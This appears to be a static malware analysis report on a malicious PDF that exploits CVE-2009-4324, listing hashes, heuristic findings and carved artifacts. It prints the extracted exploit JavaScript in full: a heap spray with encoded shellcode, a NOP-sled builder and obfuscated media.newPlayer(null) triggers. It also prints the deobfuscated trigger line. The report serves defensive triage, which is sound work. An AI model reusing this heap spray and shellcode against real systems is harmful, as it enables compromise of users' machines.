Malicious PDF — malware analysis report

Static analysis result for SHA-256 f7055ace5247fab3…

MALICIOUS

PDF

267.8 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2013-04-19
MD5: 265a80cef8447234a5dd6400b514f9d5 SHA-1: 54b7f10be0a658d84910dbdb1cd7f8c931dba01e SHA-256: f7055ace5247fab33bda811ad4de0fdbe5cd5e82aefb1cabcdc06b0ca8398899
352 Risk Score

🔏 Digital signature Modified after signing

A signature covers the whole signed byte range — PDF JavaScript is never signed on its own — and does not by itself mean the document is safe.

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF file is malicious and exploits CVE-2009-4324 using embedded JavaScript. The JavaScript code, specifically the deobfuscated `legacy_pdfkit_stage_000.js` script, directly calls `media.newPlayer(null)`, which is a known trigger for this vulnerability. The primary JavaScript stream (`javascript_obj0021_000.js`) contains obfuscated code that appears to prepare and execute exploit code, likely to download and run a second-stage payload. The PDF itself is encrypted and contains an image-only lure, further indicating malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9950

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Active content added after the PDF was signed medium PDF_SIGNATURE_POST_SIGN_MODIFICATION
    An incremental update appended AFTER the signed byte range introduces active content (/Catalog). Some of this can occur in legitimate form-fill (field scripts, a rewritten /Catalog), so it is suspicious rather than damning — but it is content the signer did not approve.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Encrypted PDF (string and stream contents are opaque to static scan) info PDF_ENCRYPTED
    PDF declares /Encrypt — string objects and stream contents are encrypted with the standard security handler (RC4 or AES). On its own this is informational; legitimate encrypted documents include signed contracts, billing statements, and rights-managed material. Static heuristics cannot inspect encrypted payload bytes.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0019_000.js pdf-javascript-stream PDF /JS object 19 at offset 0x1412 2119 bytes
SHA-256: 7d95b5abdd074950383959db145483db1f3404cd081ec4f51dd1252155880488
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var ss;//ahlfah

for(i=0;i<18000;i++)

ss = ss+0x70;

function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function rep(str)
{
	var sc='';
	for(var i=0;i<str["\x6c\x65\x6e\x67\x74\x68"];i+=4) 
	sc+="\x25\x75"+str["\x73\x75\x62\x73\x74\x72"](i,4);
	return sc;
}

var une = unescape;

var sc = "c8d974d9f424eebae0ec29de5fc937b157318314100126024207dee055eedee4eceebabfdc4fdee067eed2a09c6573fc84658fe8996555dcc29add98ba1ba86befceed15a52773a129ed05d352e1e6f0981c1fe8e12504e307aee51199f18007b265ddc48a33d26b67a5c2be31edda6bef6575250eb7ed5c6f35da23ec8421b310b9d9db1f9b816975128cb29b1121e41099891f75169e8aec86def013eed69713bc2ab7ab67b41861ee2aa713bed6979b1121181099891f671ed2afab651e18fbe6ee60acb92902bb11361813a3211f89f8ce1a26ba4f4fe442a83a7743019dc3e5dee4ce2cdee018b2dee3eed6dee0";
sc = une(rep(sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77";
        var k = "\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="0d0c0d0c0d0c0d0c41706d7a554b4d67794f514f6f4d585a764f4c566f4b48584249666d566f625a456775686a465258714e79617a614878756b754d4c57647a58704d4644624b4f";
	str1 = une(rep(str1));
	var nop0 =  unescape("\x25\x750c0c");
	var ab = "\x76\x69\x65\x77\x65\x72\x56";
	var bc = "\x65\x72\x73\x69\x6F\x6E";

	memory=new Array();
	for(i=0;i<0xE00;i++)
	{
      memory[i] = AppendLoop(nop0,18000);
      memory[i] +=sc;
	}

	if(app[ab+bc]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+k+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+k+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x1412 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
polyglot_child_pdf_off0001090a.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x1090A 206337 bytes
SHA-256: f285925dd2035ad589dc3c921c02e8d060d20ba340f4dd634e93cbe1fbea0e30
polyglot_child_pdf_off0004171e.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x4171E 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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